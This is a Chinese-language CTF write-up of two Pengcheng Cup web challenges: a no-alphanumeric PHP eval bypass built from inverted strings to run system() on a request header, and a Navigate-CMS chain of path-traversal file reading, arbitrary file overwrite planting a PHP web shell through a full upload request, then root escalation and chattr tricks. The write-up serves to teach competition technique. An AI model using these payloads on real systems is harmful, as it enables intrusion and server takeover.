0%

鹏程杯CTF-两道有意思的题目

其实这次web题目质量一般,可能web只有一道题目做起来让人觉得知识点和考察方式都很好,既简单又困难的那种感觉吧,web题目应该是AK了,但是有一部分没啥营养,这里就记录下两道题目:

1、简单的php

2、高手高手高高手

简单的php

这道题目其实以前也遇到过,不过这里过滤了更多的东西,中心思想还是一致的,我们首先看代码:

1
2
3
4
5
6
7
8
9
<?php
show_source(__FILE__);
$code = $_GET['code'];
if(strlen($code) > 80 or preg_match('/[A-Za-z0-9]|\'|"|`|\ |,|\.|-|\+|=|\/|\\|<|>|\$|\?|\^|&|\|/is',$code)){
die(' Hello');
}else if(';' === preg_replace('/[^\s\(\)]+?\((?R)?\)/', '', $code)){
@eval($code);
}
?>

第一个考点是无符号执行,就是基本各种符号都被过滤了,我们直接来看下还剩什么,一般剩什么就是考什么:

1
2
3
4
5
6
7
8
9
10
11
<?php
$code="~1234567890-=qwertyuiop[]asdfghjkl;'zxcvbnm,./!@#$%^&*()_+QWERTYUIOP{}ASDFGHJKL:\\ \"ZXCVBNM<>?";
for ($i=0; $i < strlen($code); $i++) {
if(preg_match('/[A-Za-z0-9]|\'|"|`|\ |,|\.|-|\+|=|\/|\\|<|>|\$|\?|\^|&|\|/is',$code[$i])){
continue;
}
else{
echo $code[$i];
}
}
?>

根据上述代码可得到可用字符如下:[];!@#%*()_{}:<

基本上题目要不留一个 ^ 让你异或出来~继续拼装(也可以异或其他出来,全凭想象),要不就给你留下来这个~。这里有这个~,直接就可以开干,首先基本上可见字符的取反都是不可见字符,不可见字符当然符合这个无字符正则,所以可以用不可见字符取反绕过正则,这里也写一下代码

1
2
3
4
5
6
7
8
9
10
11
12
<?php
//system(end(getheaders()))
$a="system";
$b="end";
$c="getheaders";
echo urlencode($a);
echo "-------";
echo urlencode($b);
echo "----";
echo urlencode($c);
echo "----";
?>

第二个考点是

1
if(';' === preg_replace('/[^\s\(\)]+?\((?R)?\)/', '', $code)

也就是payload经过循环过滤后仅剩下; 也就是payload只能是无参的形式:a(abc(dsada())); 这种

那我们就用一些特殊函数:

getheaders获取headers信息,end是获取最后一个,system直接系统命令,我们只需把需要执行的命令放入header的最后一个字段就行了。system(end(getheaders()))

image-20220705155003413

高手高手高高手

由于没有环境了可能只是说一下思路和当时遇到的问题。

首先这道题目是Navigate-CMS 目录有git泄漏:

image-20220705160301716

但是这里的git泄漏我并没有拿到源码,不知道是不是有什么奇怪知识点。所以就去github上找了对应的Navigatecms 源码

通过搜索最近的漏洞详情,发现2022年刚爆出一个任意文件读取的漏洞提醒,根据代码审计了对应代码发现在navigate_download.php存在id参数的任意文件读取:

payload:

1
http://192.168.1.xxx/navigate_download.php?id=../../../../../../../../../../../../../../../etc/passwd

但是没什么用 flag不在根目录。

然后搜索到另一个任意文件覆盖上传:

https://www.exploit-db.com/exploits/45561

但是因为github的代码是最新的所以已经修复过了,只能通过上面的任意文件读取拿到navigate_upload.php源码:

1
http://192.168.1.xxx/navigate_download.php?id=../../../../../../../../../../../../../../../var/www/html/navigate_upload.php

拿到源码发现漏洞存在于139行

image-20220705161744409

engine=picnik时可以进行文件覆盖,但是这里过滤了../ 仍然很好绕过 通过…/./得到../,所以我们直接覆盖navigate_info.php这个文件的内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
POST /navigate_upload.php?session_id=vcu80v6qbgcjrajhka5acjh887&engine=picnik&id=../../../navigate_info.php HTTP/1.1
Host: 192.168.1.116
Content-Length: 519
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarysFc8yFB2XMDgA35C
Accept: */*
Origin: http://192.168.1.116
Referer: http://192.168.1.116/navigate.php?fid=websites&act=2&id=1
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: NVSID_7da51544=vcu80v6qbgcjrajhka5acjh887; PHPSESSID=vcu80v6qbgcjrajhka5acjh887; navigate-tinymce-scroll=%7B%7D; navigate-user=efc2e3b89151d3e84e01f5fc10d841703bf119dd; navigate-language=en; navigate-tree-structure-1=%5B%22node-0%22%2C%22node-2%22%5D
Connection: close

------WebKitFormBoundarysFc8yFB2XMDgA35C
Content-Disposition: form-data; name="name"

12222345.php
------WebKitFormBoundarysFc8yFB2XMDgA35C
Content-Disposition: form-data; name="chunk"

0
------WebKitFormBoundarysFc8yFB2XMDgA35C
Content-Disposition: form-data; name="chunks"

1
------WebKitFormBoundarysFc8yFB2XMDgA35C
Content-Disposition: form-data; name="file"; filename="122245.php"
Content-Type: image/jpeg

<?php
phpinfo();
@eval($_POST['cmdd5556']);
?>
------WebKitFormBoundarysFc8yFB2XMDgA35C--

拿到shell我们发现根目录存在I_want_capture_the_flag二进制文件,但是运行说什么皇家赌场还没下线,不给flag,二进制逆向发现回去判断两个文件存不存在,如果不存在再通过一系列运算给出flag:

image-20220705162041847

现在我们知道需要删除/var/www/html/bocai.* ,但是我们并没有权限,这里我们就需要提权。首先我们根据网站目录下的隐藏php文件->

/var/www/html/.my_date.php 的提示拿到账号密码 并可以ssh登陆 。登陆后发现账户下面存在.get_root目录里面有现成的提权脚本,先利用源码中的配置文件泄漏的用户navigate 运行mysql-privesc-race拿到mysql权限(时间很长,要等很久要有耐心),再利用得到的mysql账户权限运行mysql-chowned.sh,拿到root。(这两个提权网上可以搜索到,这里不再赘述,第一步提权有条件竞争需要等待较长时间)

拿到root后我们去删除/var/www/html/bocai.* 依然不行,后来发现文件存在a属性,通过修改属性即可删除:

1
2
3
4
lsattr bocai.png
chattr -a bocai.png
lsattr bocai.html
chattr -a bocai.html

最后我们删除bocai.* 再次运行/var/www/html/I_want_capture_the_flag拿到flag

拓展

Linux chattr命令用于改变文件属性。

这项指令可改变存放在ext2文件系统上的文件或目录属性,这些属性共有以下8种模式:

a:让文件或目录仅供附加用途。
b:不更新文件或目录的最后存取时间。
c:将文件或目录压缩后存放。
d:将文件或目录排除在倾倒操作之外。
i:不得任意更动文件或目录。
s:保密性删除文件或目录。
S:即时更新文件或目录。
u:预防意外删除。


采用署名-非商业性使用-相同方式共享 4.0(CC BY-NC-SA 4.0)许可协议
「分享也是一种学习」